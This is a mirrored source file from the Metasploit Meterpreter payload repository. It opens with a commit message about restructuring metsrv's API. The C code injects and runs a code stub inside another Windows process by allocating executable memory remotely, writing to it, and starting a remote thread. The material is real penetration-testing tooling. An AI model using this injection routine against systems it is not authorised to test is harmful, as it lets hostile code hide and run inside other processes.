You've already forked metasploit-payloads
mirror of
https://github.com/rapid7/metasploit-payloads
synced 2025-08-03 14:28:09 +02:00

The 'common' library has been removed. The only project that actually used it was metsrv, so the code that metsrv required from common is now directly compiled in as part of that project. The common folder now contains files that are importanta cross all of the projects, with a primary focus on the new "API" style function. What this means is that MetSrv has an API that it exposes through a function pointer that is passed to the extension when it's initialised. This pointer references a structure with all the API functions wired in. This means that: * Extensions don't need to know anything about metsrv at compile time. * The delay loading code can be removed, which was one of the last instances of "metsrv.dll" as a string. * Metsrv.dll no longer exports any functions. More to come.
125 lines
2.8 KiB
C
125 lines
2.8 KiB
C
#include "precomp.h"
|
|
#include "common_metapi.h"
|
|
|
|
DWORD copy_memory_to_process(HANDLE process, BOOLEAN allocate,
|
|
LPVOID *buffer, DWORD length, DWORD prot);
|
|
|
|
/*
|
|
* Executes a portion of code in the address space of the supplied process
|
|
* and returns the exit code of the thread that is created
|
|
*
|
|
* FIXME: can-block
|
|
*/
|
|
DWORD execute_code_stub_in_process(HANDLE process, PVOID buffer, ULONG length,
|
|
LPVOID parameter, DWORD parameterLength, LPDWORD rv)
|
|
{
|
|
HANDLE thread = NULL;
|
|
LPVOID paramInProcess = (LPVOID)parameter;
|
|
LPVOID codeInProcess = (LPVOID)buffer;
|
|
DWORD threadId;
|
|
DWORD result = ERROR_SUCCESS;
|
|
DWORD wait;
|
|
|
|
do
|
|
{
|
|
// Copy the code and parameter storage
|
|
if ((result = copy_memory_to_process(process, TRUE, &codeInProcess,
|
|
length, PAGE_EXECUTE_READ)) != ERROR_SUCCESS)
|
|
{
|
|
break;
|
|
}
|
|
|
|
if ((result = copy_memory_to_process(process, TRUE, ¶mInProcess,
|
|
parameterLength, PAGE_EXECUTE_READWRITE)) != ERROR_SUCCESS)
|
|
{
|
|
break;
|
|
}
|
|
|
|
// Create the thread in the target process
|
|
if (!(thread = met_api->thread.create_remote(process, 0, codeInProcess, paramInProcess, 0, &threadId)))
|
|
{
|
|
result = GetLastError();
|
|
break;
|
|
}
|
|
|
|
// Wait for the thread to terminate
|
|
while ((wait = WaitForSingleObjectEx(thread, 1000, TRUE)) != WAIT_OBJECT_0)
|
|
{
|
|
if (wait == WAIT_FAILED)
|
|
{
|
|
result = GetLastError();
|
|
break;
|
|
}
|
|
}
|
|
|
|
if (rv)
|
|
{
|
|
GetExitCodeThread(thread, rv);
|
|
}
|
|
|
|
// Free the memory in the process
|
|
if ((!VirtualFreeEx(process, codeInProcess, 0, MEM_RELEASE)) ||
|
|
(!VirtualFreeEx(process, paramInProcess, 0, MEM_RELEASE)))
|
|
{
|
|
result = GetLastError();
|
|
break;
|
|
}
|
|
} while (0);
|
|
|
|
// Close the thread handle if one was obtained
|
|
if (thread)
|
|
{
|
|
CloseHandle(thread);
|
|
}
|
|
|
|
return result;
|
|
}
|
|
|
|
/*
|
|
* Copies memory to the target process, optionally allocating it
|
|
*/
|
|
DWORD copy_memory_to_process(HANDLE process, BOOLEAN allocate,
|
|
LPVOID *buffer, DWORD length, DWORD prot)
|
|
{
|
|
LPVOID remoteBuffer = *buffer;
|
|
SIZE_T written;
|
|
DWORD result = ERROR_SUCCESS;
|
|
|
|
do
|
|
{
|
|
if (allocate)
|
|
{
|
|
// Allocate storage for the buffer
|
|
if (!(remoteBuffer = VirtualAllocEx(process, NULL, length, MEM_COMMIT, PAGE_EXECUTE_READWRITE)))
|
|
{
|
|
result = GetLastError();
|
|
break;
|
|
}
|
|
}
|
|
|
|
// Copy the memory from local to remote
|
|
if (!WriteProcessMemory(process, remoteBuffer, *buffer, length, &written))
|
|
{
|
|
result = GetLastError();
|
|
break;
|
|
}
|
|
|
|
// Re-protect the region to have the protection mask specified
|
|
if (prot != PAGE_EXECUTE_READWRITE)
|
|
{
|
|
DWORD old;
|
|
|
|
if (!VirtualProtectEx(process, remoteBuffer, length, prot, &old))
|
|
{
|
|
result = GetLastError();
|
|
break;
|
|
}
|
|
}
|
|
} while (0);
|
|
|
|
// Update the buffer pointer
|
|
*buffer = remoteBuffer;
|
|
|
|
return result;
|
|
}
|